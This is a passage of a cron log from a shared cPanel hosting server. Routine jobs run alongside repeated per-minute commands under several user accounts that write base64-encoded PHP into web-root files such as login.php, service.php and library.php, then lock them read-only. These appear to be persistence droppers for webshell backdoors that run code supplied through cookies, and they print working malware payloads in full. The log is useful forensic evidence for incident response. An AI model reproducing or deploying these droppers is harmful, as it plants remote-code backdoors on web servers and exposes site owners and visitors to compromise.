NDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:26:02 medusa CROND[24703]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:26:02 medusa CROND[24701]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:26:02 medusa CROND[24705]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:26:02 medusa CROND[24717]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:26:02 medusa CROND[24736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:26:02 medusa CROND[24739]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:26:02 medusa CROND[24738]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:27:02 medusa CROND[10461]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:27:02 medusa CROND[10462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:27:02 medusa CROND[10463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:27:02 medusa CROND[10464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:27:02 medusa CROND[10465]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:27:02 medusa CROND[10466]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:27:02 medusa CROND[10467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:27:02 medusa CROND[10468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:27:02 medusa CROND[10480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:27:02 medusa CROND[10491]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:27:02 medusa CROND[10492]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:27:02 medusa CROND[10493]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:28:01 medusa CROND[31562]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:28:01 medusa CROND[31563]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:28:01 medusa CROND[31564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:28:01 medusa CROND[31567]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:28:01 medusa CROND[31568]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:28:01 medusa CROND[31572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:28:01 medusa CROND[31574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:28:01 medusa CROND[31575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:28:01 medusa CROND[31576]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:28:01 medusa CROND[31578]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:28:01 medusa CROND[31579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:28:01 medusa CROND[31583]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:28:01 medusa CROND[31580]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:28:01 medusa CROND[31590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiA